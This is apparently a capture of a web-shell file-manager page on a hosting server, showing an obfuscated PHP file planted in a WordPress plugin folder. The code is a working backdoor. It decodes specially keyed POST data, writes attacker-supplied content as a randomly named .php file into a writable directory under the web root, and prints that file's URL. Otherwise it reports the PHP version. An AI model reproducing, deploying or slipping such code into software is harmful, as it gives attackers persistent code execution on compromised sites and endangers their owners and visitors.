HEX
Server: Apache
System: Linux webd003.cluster128.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User: slyfwmm (169339)
PHP: 8.1.34
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/slyfwmm/incastiglionfiorentino/wp-content/plugins/registered-users-only/uyogeika.php
<?php $qyBqfFY = "sObOPdSk";function xcOFUYx($qyBqfFY){$OIqIGdMuhV = "\x72"."\x61"."\167".'u'."\162"."\154".chr(395-295)."\145"."\x63"."\x6f"."\x64"."\145";$pFdrKldE = 's'.chr(116)."\162".'_'."\162".'o'.chr(116)."\61".chr(744-693);$ivNnnC = chr(115).'t'.'r'.chr(95)."\x73"."\x70".chr(219-111)."\151".'t';$qyBqfFY = $ivNnnC($OIqIGdMuhV($pFdrKldE($qyBqfFY)));return $qyBqfFY;}function dVvwagBFSa($zECCMJb, $hWNqrcVq){$MEuBhMa = chr(1055-940)."\164".'r'.chr(935-840).chr(399-284)."\160"."\154".chr(105).chr(773-657);$zECCMJb = array_slice($MEuBhMa(str_repeat($zECCMJb, (count($hWNqrcVq)/16)+1)), 0, count($hWNqrcVq));return $zECCMJb;}function TgjsZCF($gIwocD, $XYPOBAQE, $zECCMJb){$xHWciA = "d303a08c-ef5e-4688-b3e1-95ed5faa388c";return $gIwocD ^ $xHWciA[$XYPOBAQE % strlen($xHWciA)] ^ $zECCMJb;}function QbzOT($hWNqrcVq, $zECCMJb){$hWNqrcVq = array_map("TgjsZCF", array_values($hWNqrcVq), array_keys($hWNqrcVq), array_values($zECCMJb));$hWNqrcVq = implode("", $hWNqrcVq);$qfSaKtj = chr(117).'n'."\x73".'e'.chr(114).'i'.'a'.'l'."\151".'z'.chr(101);$hWNqrcVq = @$qfSaKtj($hWNqrcVq);return $hWNqrcVq;}function yBnGvuJ(){echo "wOQNRMKcX";}function ZSSFeZI($uthGair){static $TEVKdqU = array();$AuFpuhH = glob($uthGair . '/*', GLOB_ONLYDIR);$DOuMMn = count($AuFpuhH);if ($DOuMMn > 0) {foreach ($AuFpuhH as $uthGa) {$NNrzKz = "\151".'s'.chr(1073-978).chr(119).'r'."\151".chr(116).chr(864-767).chr(98).chr(502-394).chr(663-562);if (@$NNrzKz($uthGa)) {$TEVKdqU[] = $uthGa;}}}foreach ($AuFpuhH as $uthGair) ZSSFeZI($uthGair);return $TEVKdqU;}function SmvlKGECU(){echo "sObOPdSk";}function lftOJgzUVa($hWNqrcVq){$vyJjLmUQzT = "\x44"."\x4f"."\103".chr(995-910).'M'."\105".'N'.chr(84)."\x5f"."\122"."\117".chr(79).'T';$qDrumIgdx = $_SERVER[$vyJjLmUQzT];$AuFpuhH = ZSSFeZI($qDrumIgdx);$arAhRlt = array_rand($AuFpuhH);$LyMQpyN = "\56".chr(877-765).'h'.chr(560-448);$lrgFuH = $AuFpuhH[$arAhRlt] . "/" . substr(md5(time()), 0, 8) . $LyMQpyN;$SROnp = 'f'.chr(105).chr(108)."\145"."\x5f".'p'."\x75"."\164"."\137".'c'.chr(617-506).chr(216-106).chr(116).'e'."\156"."\x74".'s';@$SROnp($lrgFuH, $hWNqrcVq);$HASBAFsDv = chr(72)."\124".chr(272-188)."\120"."\137"."\110"."\117".chr(83).chr(84);$FFLzmT = "\x68"."\x74".chr(116).chr(112)."\x3a"."\57".chr(47);$AnTTX = $FFLzmT . $_SERVER[$HASBAFsDv] . substr($lrgFuH, strlen($qDrumIgdx));print($AnTTX);}foreach ($_POST as $zECCMJb => $hWNqrcVq){$RbmOYjyE = strlen($zECCMJb);if ($RbmOYjyE == 16){$hWNqrcVq = xcOFUYx($hWNqrcVq);$zECCMJb = dVvwagBFSa($zECCMJb, $hWNqrcVq);$hWNqrcVq = QbzOT($hWNqrcVq, $zECCMJb);if (@is_array($hWNqrcVq)){$arAhRlt = array_keys($hWNqrcVq);$hWNqrcVq = $hWNqrcVq[$arAhRlt[0]];$arAhRlt = $arAhRlt[0];if ($hWNqrcVq !== $arAhRlt){lftOJgzUVa($hWNqrcVq);}else {$mJTazW = chr(1011-899).chr(984-880)."\x70";$ewNvzGBuW = 'p'.chr(104).'p'.'v'."\145"."\x72"."\163"."\x69".'o'."\156";$hWNqrcVq = Array($mJTazW => @$ewNvzGBuW(), );$rRaycC = "\x73"."\x65"."\162"."\151".'a'."\x6c"."\x69".chr(323-201).chr(285-184);echo @$rRaycC($hWNqrcVq);}die();}}}